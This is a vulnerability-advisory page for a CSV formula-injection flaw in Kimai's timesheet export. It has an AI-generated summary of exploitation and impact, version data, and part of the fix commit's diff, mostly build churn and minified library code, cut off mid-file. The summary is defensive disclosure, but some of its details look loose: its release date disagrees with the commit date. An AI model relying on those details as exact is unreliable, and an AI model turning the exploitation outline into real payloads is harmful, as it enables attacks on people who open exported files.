VYPR
High severityNVD Advisory· Published Apr 8, 2022· Updated Aug 4, 2024

CVE-2021-43515

CVE-2021-43515

Description

A CSV Injection vulnerability in Kimai time-tracking allows arbitrary formula execution via malicious Description payloads when exporting timesheets to CSV.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

A CSV Injection vulnerability in Kimai time-tracking allows arbitrary formula execution via malicious Description payloads when exporting timesheets to CSV.

Vulnerability

A CSV Injection (also known as Excel Macro Injection or Formula Injection) vulnerability exists in the Kimai time-tracking application [1]. An attacker can craft a malicious payload in the Description field when creating a new timesheet. When the timesheet data is later exported to a CSV file, the payload is mishandled and interpreted by spreadsheet applications as a dynamic formula rather than plain text. This impacts all versions prior to the fix designated for version 1.14.1, which adds sanitization of DDE (Dynamic Data Exchange) payloads, as noted in the commit and pull request references [3][4].

Exploitation

An attacker must have the ability to create or edit timesheets in Kimai, which typically requires a valid account with appropriate permissions. The attacker fills the Description field of a timesheet with a CSV injection payload, such as a formula starting with =, +, -, or @. When an administrator or other user exports the timesheet data to CSV and opens the resulting file in a spreadsheet application (e.g., Microsoft Excel or LibreOffice Calc), the formula executes automatically, without requiring user interaction beyond opening the file. No special network position is needed beyond normal web access [1][2].

Impact

By successfully injecting a malicious formula, an attacker can achieve arbitrary command execution on the victim's machine if the spreadsheet application allows such commands (e.g., via DDE or cmd / powershell). The attacker can also exfiltrate data from the user's system, modify files, or use the compromised host for further attacks. The scope of the compromise is the local user context under which the spreadsheet application runs [1].

Mitigation

The vulnerability is fixed in Kimai version 1.14.1, released on approximately April 25, 2021, which sanitizes DDE payloads to prevent malicious formula execution [3][4]. Users should upgrade to Kimai version 1.14.1 or later. There are no publicly known workarounds if the software cannot be updated. As of April 2022, this CVE is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog.

AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
kevinpapst/kimai2Packagist
< 1.14.11.14.1

Affected products

2

Patches

1
dad1b8b77294

version 1.14.1 (#2532)

https://github.com/kevinpapst/kimai2Kevin PapstApr 29, 2021via ghsa
74 files changed · +1775 2081
  • assets/app.js+0 6 modified
    @@ -71,12 +71,6 @@ require('moment/locale/zh-cn');
     
     require('daterangepicker');
     
    -/*
    -"sortablejs": "^1.10",
    -const Sortable = require('sortablejs/Sortable.min');
    -global.Sortable = Sortable;
    -*/
    -
     // ------ AdminLTE framework ------
     require('./sass/bootstrap.scss');
     require('./sass/fontawesome.scss');
    
  • assets/js/plugins/KimaiDatePicker.js+0 1 modified
    @@ -11,7 +11,6 @@
     
     import jQuery from 'jquery';
     import KimaiPlugin from '../KimaiPlugin';
    -import moment from "moment";
     
     export default class KimaiDatePicker extends KimaiPlugin {
     
    
  • assets/js/plugins/KimaiForm.js+3 1 modified
    @@ -49,7 +49,9 @@ export default class KimaiForm extends KimaiPlugin {
                 // If a multi-select, get all selections
                 if (field.type === 'select-multiple') {
                     for (var n = 0; n < field.options.length; n++) {
    -                    if (!field.options[n].selected) continue;
    +                    if (!field.options[n].selected) {
    +                        continue;
    +                    }
                         serialized.push({
                             name: field.name,
                             value: field.options[n].value
    
  • assets/js/plugins/KimaiFormSelect.js+0 1 modified
    @@ -111,7 +111,6 @@ export default class KimaiFormSelect extends KimaiPlugin {
             }};
     
             const templateResultFunc = function (state) {
    -            console.log(state);
                 return jQuery('<span><span style="background-color:'+state.id+'; width: 20px; height: 20px; display: inline-block; margin-right: 10px;">&nbsp;</span>' + state.text + '</span>');
             };
     
    
  • .github_changelog_generator+2 2 modified
    @@ -1,5 +1,5 @@
     unreleased=true
    -future-release=1.14
    -exclude-labels=duplicate,support,question,invalid,wontfix,release,waiting for feedback
    +future-release=1.15
    +exclude-labels=duplicate,support,question,invalid,wontfix,release,waiting for feedback,documentation
     enhancement_labels=>enhancement,Enhancement,feature request,translation i18n,technical debt,documentation
     issues-wo-labels=false
    
  • package.json+19 12 modified
    @@ -21,25 +21,32 @@
         "prod": "node_modules/.bin/encore production"
       },
       "devDependencies": {
    -    "@fortawesome/fontawesome-free": "^5.15.3",
    -    "@symfony/webpack-encore": "^0.28",
    +    "@fortawesome/fontawesome-free": "^5.15",
    +    "@symfony/webpack-encore": "^1.1",
         "admin-lte": "^2.4",
         "bootstrap-sass": "^3.4",
    -    "chart.js": "~2.9.3",
    -    "core-js": "^3.6.5",
    -    "daterangepicker": "^3.1.0",
    +    "chart.js": "~2.9",
    +    "core-js": "^3.6",
    +    "daterangepicker": "^3.1",
    +    "file-loader": "^6.0",
         "fullcalendar": "^3.9",
         "icheck": "^1.0",
    -    "jquery": "^3.5.1",
    +    "jquery": "<3.6",
         "jquery-slimscroll": "^1.3",
         "jquery-ui": "^1.12",
         "js-cookie": "^2.2",
    -    "moment": "^2.29.1",
    -    "node-sass": "^4.14.1",
    -    "sass-loader": "^7.3",
    +    "moment": "^2.29",
    +    "node-sass": "^4.14",
    +    "sass-loader": "^10.0",
         "select2": "^4.0",
         "select2-bootstrap-theme": "^0.1.0-beta.10",
    -    "sweetalert2": "^10.16.3",
    -    "webpack-notifier": "^1.13.0"
    -  }
    +    "sweetalert2": "^10.16",
    +    "webpack-notifier": "^1.13"
    +  },
    +  "resolutions": {
    +    "jquery": "3.5.1"
    +  },
    +  "browserslist": [
    +    "defaults"
    +  ]
     }
    
  • public/build/0.9ec1fb96.js+0 1 removed
    @@ -1 +0,0 @@
    -(window.webpackJsonp=window.webpackJsonp||[]).push([[0],{YuTi:function(e,t){e.exports=function(e){return e.webpackPolyfill||(e.deprecate=function(){},e.paths=[],e.children||(e.children=[]),Object.defineProperty(e,"loaded",{enumerable:!0,get:function(){return e.l}}),Object.defineProperty(e,"id",{enumerable:!0,get:function(){return e.i}}),e.webpackPolyfill=1),e}},"wd/R":function(e,t,n){(function(e){e.exports=function(){"use strict";var t,n;function s(){return t.apply(null,arguments)}function i(e){return e instanceof Array||"[object Array]"===Object.prototype.toString.call(e)}function r(e){return null!=e&&"[object Object]"===Object.prototype.toString.call(e)}function a(e,t){return Object.prototype.hasOwnProperty.call(e,t)}function o(e){if(Object.getOwnPropertyNames)return 0===Object.getOwnPropertyNames(e).length;var t;for(t in e)if(a(e,t))return!1;return!0}function u(e){return void 0===e}function l(e){return"number"==typeof e||"[object Number]"===Object.prototype.toString.call(e)}function h(e){return e instanceof Date||"[object Date]"===Object.prototype.toString.call(e)}function d(e,t){var n,s=[];for(n=0;n<e.length;++n)s.push(t(e[n],n));return s}function c(e,t){for(var n in t)a(t,n)&&(e[n]=t[n]);return a(t,"toString")&&(e.toString=t.toString),a(t,"valueOf")&&(e.valueOf=t.valueOf),e}function f(e,t,n,s){return St(e,t,n,s,!0).utc()}function m(e){return null==e._pf&&(e._pf={empty:!1,unusedTokens:[],unusedInput:[],overflow:-2,charsLeftOver:0,nullInput:!1,invalidEra:null,invalidMonth:null,invalidFormat:!1,userInvalidated:!1,iso:!1,parsedDateParts:[],era:null,meridiem:null,rfc2822:!1,weekdayMismatch:!1}),e._pf}function _(e){if(null==e._isValid){var t=m(e),s=n.call(t.parsedDateParts,(function(e){return null!=e})),i=!isNaN(e._d.getTime())&&t.overflow<0&&!t.empty&&!t.invalidEra&&!t.invalidMonth&&!t.invalidWeekday&&!t.weekdayMismatch&&!t.nullInput&&!t.invalidFormat&&!t.userInvalidated&&(!t.meridiem||t.meridiem&&s);if(e._strict&&(i=i&&0===t.charsLeftOver&&0===t.unusedTokens.length&&void 0===t.bigHour),null!=Object.isFrozen&&Object.isFrozen(e))return i;e._isValid=i}return e._isValid}function y(e){var t=f(NaN);return null!=e?c(m(t),e):m(t).userInvalidated=!0,t}n=Array.prototype.some?Array.prototype.some:function(e){var t,n=Object(this),s=n.length>>>0;for(t=0;t<s;t++)if(t in n&&e.call(this,n[t],t,n))return!0;return!1};var g=s.momentProperties=[],w=!1;function p(e,t){var n,s,i;if(u(t._isAMomentObject)||(e._isAMomentObject=t._isAMomentObject),u(t._i)||(e._i=t._i),u(t._f)||(e._f=t._f),u(t._l)||(e._l=t._l),u(t._strict)||(e._strict=t._strict),u(t._tzm)||(e._tzm=t._tzm),u(t._isUTC)||(e._isUTC=t._isUTC),u(t._offset)||(e._offset=t._offset),u(t._pf)||(e._pf=m(t)),u(t._locale)||(e._locale=t._locale),g.length>0)for(n=0;n<g.length;n++)u(i=t[s=g[n]])||(e[s]=i);return e}function v(e){p(this,e),this._d=new Date(null!=e._d?e._d.getTime():NaN),this.isValid()||(this._d=new Date(NaN)),!1===w&&(w=!0,s.updateOffset(this),w=!1)}function k(e){return e instanceof v||null!=e&&null!=e._isAMomentObject}function M(e){!1===s.suppressDeprecationWarnings&&"undefined"!=typeof console&&console.warn&&console.warn("Deprecation warning: "+e)}function D(e,t){var n=!0;return c((function(){if(null!=s.deprecationHandler&&s.deprecationHandler(null,e),n){var i,r,o,u=[];for(r=0;r<arguments.length;r++){if(i="","object"==typeof arguments[r]){for(o in i+="\n["+r+"] ",arguments[0])a(arguments[0],o)&&(i+=o+": "+arguments[0][o]+", ");i=i.slice(0,-2)}else i=arguments[r];u.push(i)}M(e+"\nArguments: "+Array.prototype.slice.call(u).join("")+"\n"+(new Error).stack),n=!1}return t.apply(this,arguments)}),t)}var S,Y={};function O(e,t){null!=s.deprecationHandler&&s.deprecationHandler(e,t),Y[e]||(M(t),Y[e]=!0)}function b(e){return"undefined"!=typeof Function&&e instanceof Function||"[object Function]"===Object.prototype.toString.call(e)}function T(e,t){var n,s=c({},e);for(n in t)a(t,n)&&(r(e[n])&&r(t[n])?(s[n]={},c(s[n],e[n]),c(s[n],t[n])):null!=t[n]?s[n]=t[n]:delete s[n]);for(n in e)a(e,n)&&!a(t,n)&&r(e[n])&&(s[n]=c({},s[n]));return s}function x(e){null!=e&&this.set(e)}function N(e,t,n){var s=""+Math.abs(e),i=t-s.length;return(e>=0?n?"+":"":"-")+Math.pow(10,Math.max(0,i)).toString().substr(1)+s}s.suppressDeprecationWarnings=!1,s.deprecationHandler=null,S=Object.keys?Object.keys:function(e){var t,n=[];for(t in e)a(e,t)&&n.push(t);return n};var P=/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|N{1,5}|YYYYYY|YYYYY|YYYY|YY|y{2,4}|yo?|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,R=/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,W={},C={};function U(e,t,n,s){var i=s;"string"==typeof s&&(i=function(){return this[s]()}),e&&(C[e]=i),t&&(C[t[0]]=function(){return N(i.apply(this,arguments),t[1],t[2])}),n&&(C[n]=function(){return this.localeData().ordinal(i.apply(this,arguments),e)})}function H(e,t){return e.isValid()?(t=F(t,e.localeData()),W[t]=W[t]||function(e){var t,n,s,i=e.match(P);for(t=0,n=i.length;t<n;t++)C[i[t]]?i[t]=C[i[t]]:i[t]=(s=i[t]).match(/\[[\s\S]/)?s.replace(/^\[|\]$/g,""):s.replace(/\\/g,"");return function(t){var s,r="";for(s=0;s<n;s++)r+=b(i[s])?i[s].call(t,e):i[s];return r}}(t),W[t](e)):e.localeData().invalidDate()}function F(e,t){var n=5;function s(e){return t.longDateFormat(e)||e}for(R.lastIndex=0;n>=0&&R.test(e);)e=e.replace(R,s),R.lastIndex=0,n-=1;return e}var L={};function V(e,t){var n=e.toLowerCase();L[n]=L[n+"s"]=L[t]=e}function E(e){return"string"==typeof e?L[e]||L[e.toLowerCase()]:void 0}function G(e){var t,n,s={};for(n in e)a(e,n)&&(t=E(n))&&(s[t]=e[n]);return s}var A={};function j(e,t){A[e]=t}function I(e){return e%4==0&&e%100!=0||e%400==0}function Z(e){return e<0?Math.ceil(e)||0:Math.floor(e)}function z(e){var t=+e,n=0;return 0!==t&&isFinite(t)&&(n=Z(t)),n}function $(e,t){return function(n){return null!=n?(q(this,e,n),s.updateOffset(this,t),this):J(this,e)}}function J(e,t){return e.isValid()?e._d["get"+(e._isUTC?"UTC":"")+t]():NaN}function q(e,t,n){e.isValid()&&!isNaN(n)&&("FullYear"===t&&I(e.year())&&1===e.month()&&29===e.date()?(n=z(n),e._d["set"+(e._isUTC?"UTC":"")+t](n,e.month(),ke(n,e.month()))):e._d["set"+(e._isUTC?"UTC":"")+t](n))}var B,Q=/\d/,X=/\d\d/,K=/\d{3}/,ee=/\d{4}/,te=/[+-]?\d{6}/,ne=/\d\d?/,se=/\d\d\d\d?/,ie=/\d\d\d\d\d\d?/,re=/\d{1,3}/,ae=/\d{1,4}/,oe=/[+-]?\d{1,6}/,ue=/\d+/,le=/[+-]?\d+/,he=/Z|[+-]\d\d:?\d\d/gi,de=/Z|[+-]\d\d(?::?\d\d)?/gi,ce=/[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i;function fe(e,t,n){B[e]=b(t)?t:function(e,s){return e&&n?n:t}}function me(e,t){return a(B,e)?B[e](t._strict,t._locale):new RegExp(_e(e.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,(function(e,t,n,s,i){return t||n||s||i}))))}function _e(e){return e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}B={};var ye,ge={};function we(e,t){var n,s=t;for("string"==typeof e&&(e=[e]),l(t)&&(s=function(e,n){n[t]=z(e)}),n=0;n<e.length;n++)ge[e[n]]=s}function pe(e,t){we(e,(function(e,n,s,i){s._w=s._w||{},t(e,s._w,s,i)}))}function ve(e,t,n){null!=t&&a(ge,e)&&ge[e](t,n._a,n,e)}function ke(e,t){if(isNaN(e)||isNaN(t))return NaN;var n,s=(t%(n=12)+n)%n;return e+=(t-s)/12,1===s?I(e)?29:28:31-s%7%2}ye=Array.prototype.indexOf?Array.prototype.indexOf:function(e){var t;for(t=0;t<this.length;++t)if(this[t]===e)return t;return-1},U("M",["MM",2],"Mo",(function(){return this.month()+1})),U("MMM",0,0,(function(e){return this.localeData().monthsShort(this,e)})),U("MMMM",0,0,(function(e){return this.localeData().months(this,e)})),V("month","M"),j("month",8),fe("M",ne),fe("MM",ne,X),fe("MMM",(function(e,t){return t.monthsShortRegex(e)})),fe("MMMM",(function(e,t){return t.monthsRegex(e)})),we(["M","MM"],(function(e,t){t[1]=z(e)-1})),we(["MMM","MMMM"],(function(e,t,n,s){var i=n._locale.monthsParse(e,s,n._strict);null!=i?t[1]=i:m(n).invalidMonth=e}));var Me="January_February_March_April_May_June_July_August_September_October_November_December".split("_"),De="Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),Se=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,Ye=ce,Oe=ce;function be(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],s=0;s<12;++s)r=f([2e3,s]),this._shortMonthsParse[s]=this.monthsShort(r,"").toLocaleLowerCase(),this._longMonthsParse[s]=this.months(r,"").toLocaleLowerCase();return n?"MMM"===t?-1!==(i=ye.call(this._shortMonthsParse,a))?i:null:-1!==(i=ye.call(this._longMonthsParse,a))?i:null:"MMM"===t?-1!==(i=ye.call(this._shortMonthsParse,a))||-1!==(i=ye.call(this._longMonthsParse,a))?i:null:-1!==(i=ye.call(this._longMonthsParse,a))||-1!==(i=ye.call(this._shortMonthsParse,a))?i:null}function Te(e,t){var n;if(!e.isValid())return e;if("string"==typeof t)if(/^\d+$/.test(t))t=z(t);else if(!l(t=e.localeData().monthsParse(t)))return e;return n=Math.min(e.date(),ke(e.year(),t)),e._d["set"+(e._isUTC?"UTC":"")+"Month"](t,n),e}function xe(e){return null!=e?(Te(this,e),s.updateOffset(this,!0),this):J(this,"Month")}function Ne(){function e(e,t){return t.length-e.length}var t,n,s=[],i=[],r=[];for(t=0;t<12;t++)n=f([2e3,t]),s.push(this.monthsShort(n,"")),i.push(this.months(n,"")),r.push(this.months(n,"")),r.push(this.monthsShort(n,""));for(s.sort(e),i.sort(e),r.sort(e),t=0;t<12;t++)s[t]=_e(s[t]),i[t]=_e(i[t]);for(t=0;t<24;t++)r[t]=_e(r[t]);this._monthsRegex=new RegExp("^("+r.join("|")+")","i"),this._monthsShortRegex=this._monthsRegex,this._monthsStrictRegex=new RegExp("^("+i.join("|")+")","i"),this._monthsShortStrictRegex=new RegExp("^("+s.join("|")+")","i")}function Pe(e){return I(e)?366:365}U("Y",0,0,(function(){var e=this.year();return e<=9999?N(e,4):"+"+e})),U(0,["YY",2],0,(function(){return this.year()%100})),U(0,["YYYY",4],0,"year"),U(0,["YYYYY",5],0,"year"),U(0,["YYYYYY",6,!0],0,"year"),V("year","y"),j("year",1),fe("Y",le),fe("YY",ne,X),fe("YYYY",ae,ee),fe("YYYYY",oe,te),fe("YYYYYY",oe,te),we(["YYYYY","YYYYYY"],0),we("YYYY",(function(e,t){t[0]=2===e.length?s.parseTwoDigitYear(e):z(e)})),we("YY",(function(e,t){t[0]=s.parseTwoDigitYear(e)})),we("Y",(function(e,t){t[0]=parseInt(e,10)})),s.parseTwoDigitYear=function(e){return z(e)+(z(e)>68?1900:2e3)};var Re=$("FullYear",!0);function We(e,t,n,s,i,r,a){var o;return e<100&&e>=0?(o=new Date(e+400,t,n,s,i,r,a),isFinite(o.getFullYear())&&o.setFullYear(e)):o=new Date(e,t,n,s,i,r,a),o}function Ce(e){var t,n;return e<100&&e>=0?((n=Array.prototype.slice.call(arguments))[0]=e+400,t=new Date(Date.UTC.apply(null,n)),isFinite(t.getUTCFullYear())&&t.setUTCFullYear(e)):t=new Date(Date.UTC.apply(null,arguments)),t}function Ue(e,t,n){var s=7+t-n;return-(7+Ce(e,0,s).getUTCDay()-t)%7+s-1}function He(e,t,n,s,i){var r,a,o=1+7*(t-1)+(7+n-s)%7+Ue(e,s,i);return o<=0?a=Pe(r=e-1)+o:o>Pe(e)?(r=e+1,a=o-Pe(e)):(r=e,a=o),{year:r,dayOfYear:a}}function Fe(e,t,n){var s,i,r=Ue(e.year(),t,n),a=Math.floor((e.dayOfYear()-r-1)/7)+1;return a<1?s=a+Le(i=e.year()-1,t,n):a>Le(e.year(),t,n)?(s=a-Le(e.year(),t,n),i=e.year()+1):(i=e.year(),s=a),{week:s,year:i}}function Le(e,t,n){var s=Ue(e,t,n),i=Ue(e+1,t,n);return(Pe(e)-s+i)/7}function Ve(e,t){return e.slice(t,7).concat(e.slice(0,t))}U("w",["ww",2],"wo","week"),U("W",["WW",2],"Wo","isoWeek"),V("week","w"),V("isoWeek","W"),j("week",5),j("isoWeek",5),fe("w",ne),fe("ww",ne,X),fe("W",ne),fe("WW",ne,X),pe(["w","ww","W","WW"],(function(e,t,n,s){t[s.substr(0,1)]=z(e)})),U("d",0,"do","day"),U("dd",0,0,(function(e){return this.localeData().weekdaysMin(this,e)})),U("ddd",0,0,(function(e){return this.localeData().weekdaysShort(this,e)})),U("dddd",0,0,(function(e){return this.localeData().weekdays(this,e)})),U("e",0,0,"weekday"),U("E",0,0,"isoWeekday"),V("day","d"),V("weekday","e"),V("isoWeekday","E"),j("day",11),j("weekday",11),j("isoWeekday",11),fe("d",ne),fe("e",ne),fe("E",ne),fe("dd",(function(e,t){return t.weekdaysMinRegex(e)})),fe("ddd",(function(e,t){return t.weekdaysShortRegex(e)})),fe("dddd",(function(e,t){return t.weekdaysRegex(e)})),pe(["dd","ddd","dddd"],(function(e,t,n,s){var i=n._locale.weekdaysParse(e,s,n._strict);null!=i?t.d=i:m(n).invalidWeekday=e})),pe(["d","e","E"],(function(e,t,n,s){t[s]=z(e)}));var Ee="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),Ge="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Ae="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),je=ce,Ie=ce,Ze=ce;function ze(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],s=0;s<7;++s)r=f([2e3,1]).day(s),this._minWeekdaysParse[s]=this.weekdaysMin(r,"").toLocaleLowerCase(),this._shortWeekdaysParse[s]=this.weekdaysShort(r,"").toLocaleLowerCase(),this._weekdaysParse[s]=this.weekdays(r,"").toLocaleLowerCase();return n?"dddd"===t?-1!==(i=ye.call(this._weekdaysParse,a))?i:null:"ddd"===t?-1!==(i=ye.call(this._shortWeekdaysParse,a))?i:null:-1!==(i=ye.call(this._minWeekdaysParse,a))?i:null:"dddd"===t?-1!==(i=ye.call(this._weekdaysParse,a))||-1!==(i=ye.call(this._shortWeekdaysParse,a))||-1!==(i=ye.call(this._minWeekdaysParse,a))?i:null:"ddd"===t?-1!==(i=ye.call(this._shortWeekdaysParse,a))||-1!==(i=ye.call(this._weekdaysParse,a))||-1!==(i=ye.call(this._minWeekdaysParse,a))?i:null:-1!==(i=ye.call(this._minWeekdaysParse,a))||-1!==(i=ye.call(this._weekdaysParse,a))||-1!==(i=ye.call(this._shortWeekdaysParse,a))?i:null}function $e(){function e(e,t){return t.length-e.length}var t,n,s,i,r,a=[],o=[],u=[],l=[];for(t=0;t<7;t++)n=f([2e3,1]).day(t),s=_e(this.weekdaysMin(n,"")),i=_e(this.weekdaysShort(n,"")),r=_e(this.weekdays(n,"")),a.push(s),o.push(i),u.push(r),l.push(s),l.push(i),l.push(r);a.sort(e),o.sort(e),u.sort(e),l.sort(e),this._weekdaysRegex=new RegExp("^("+l.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+o.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+a.join("|")+")","i")}function Je(){return this.hours()%12||12}function qe(e,t){U(e,0,0,(function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)}))}function Be(e,t){return t._meridiemParse}U("H",["HH",2],0,"hour"),U("h",["hh",2],0,Je),U("k",["kk",2],0,(function(){return this.hours()||24})),U("hmm",0,0,(function(){return""+Je.apply(this)+N(this.minutes(),2)})),U("hmmss",0,0,(function(){return""+Je.apply(this)+N(this.minutes(),2)+N(this.seconds(),2)})),U("Hmm",0,0,(function(){return""+this.hours()+N(this.minutes(),2)})),U("Hmmss",0,0,(function(){return""+this.hours()+N(this.minutes(),2)+N(this.seconds(),2)})),qe("a",!0),qe("A",!1),V("hour","h"),j("hour",13),fe("a",Be),fe("A",Be),fe("H",ne),fe("h",ne),fe("k",ne),fe("HH",ne,X),fe("hh",ne,X),fe("kk",ne,X),fe("hmm",se),fe("hmmss",ie),fe("Hmm",se),fe("Hmmss",ie),we(["H","HH"],3),we(["k","kk"],(function(e,t,n){var s=z(e);t[3]=24===s?0:s})),we(["a","A"],(function(e,t,n){n._isPm=n._locale.isPM(e),n._meridiem=e})),we(["h","hh"],(function(e,t,n){t[3]=z(e),m(n).bigHour=!0})),we("hmm",(function(e,t,n){var s=e.length-2;t[3]=z(e.substr(0,s)),t[4]=z(e.substr(s)),m(n).bigHour=!0})),we("hmmss",(function(e,t,n){var s=e.length-4,i=e.length-2;t[3]=z(e.substr(0,s)),t[4]=z(e.substr(s,2)),t[5]=z(e.substr(i)),m(n).bigHour=!0})),we("Hmm",(function(e,t,n){var s=e.length-2;t[3]=z(e.substr(0,s)),t[4]=z(e.substr(s))})),we("Hmmss",(function(e,t,n){var s=e.length-4,i=e.length-2;t[3]=z(e.substr(0,s)),t[4]=z(e.substr(s,2)),t[5]=z(e.substr(i))}));var Qe,Xe=$("Hours",!0),Ke={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",w:"a week",ww:"%d weeks",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Me,monthsShort:De,week:{dow:0,doy:6},weekdays:Ee,weekdaysMin:Ae,weekdaysShort:Ge,meridiemParse:/[ap]\.?m?\.?/i},et={},tt={};function nt(e,t){var n,s=Math.min(e.length,t.length);for(n=0;n<s;n+=1)if(e[n]!==t[n])return n;return s}function st(e){return e?e.toLowerCase().replace("_","-"):e}function it(t){var n=null;if(void 0===et[t]&&void 0!==e&&e&&e.exports)try{n=Qe._abbr,function(){var e=new Error("Cannot find module 'undefined'");throw e.code="MODULE_NOT_FOUND",e}(),rt(n)}catch(e){et[t]=null}return et[t]}function rt(e,t){var n;return e&&((n=u(t)?ot(e):at(e,t))?Qe=n:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+e+" not found. Did you forget to load it?")),Qe._abbr}function at(e,t){if(null!==t){var n,s=Ke;if(t.abbr=e,null!=et[e])O("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),s=et[e]._config;else if(null!=t.parentLocale)if(null!=et[t.parentLocale])s=et[t.parentLocale]._config;else{if(null==(n=it(t.parentLocale)))return tt[t.parentLocale]||(tt[t.parentLocale]=[]),tt[t.parentLocale].push({name:e,config:t}),null;s=n._config}return et[e]=new x(T(s,t)),tt[e]&&tt[e].forEach((function(e){at(e.name,e.config)})),rt(e),et[e]}return delete et[e],null}function ot(e){var t;if(e&&e._locale&&e._locale._abbr&&(e=e._locale._abbr),!e)return Qe;if(!i(e)){if(t=it(e))return t;e=[e]}return function(e){for(var t,n,s,i,r=0;r<e.length;){for(t=(i=st(e[r]).split("-")).length,n=(n=st(e[r+1]))?n.split("-"):null;t>0;){if(s=it(i.slice(0,t).join("-")))return s;if(n&&n.length>=t&&nt(i,n)>=t-1)break;t--}r++}return Qe}(e)}function ut(e){var t,n=e._a;return n&&-2===m(e).overflow&&(t=n[1]<0||n[1]>11?1:n[2]<1||n[2]>ke(n[0],n[1])?2:n[3]<0||n[3]>24||24===n[3]&&(0!==n[4]||0!==n[5]||0!==n[6])?3:n[4]<0||n[4]>59?4:n[5]<0||n[5]>59?5:n[6]<0||n[6]>999?6:-1,m(e)._overflowDayOfYear&&(t<0||t>2)&&(t=2),m(e)._overflowWeeks&&-1===t&&(t=7),m(e)._overflowWeekday&&-1===t&&(t=8),m(e).overflow=t),e}var lt=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,ht=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d|))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,dt=/Z|[+-]\d\d(?::?\d\d)?/,ct=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/],["YYYYMM",/\d{6}/,!1],["YYYY",/\d{4}/,!1]],ft=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],mt=/^\/?Date\((-?\d+)/i,_t=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,yt={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};function gt(e){var 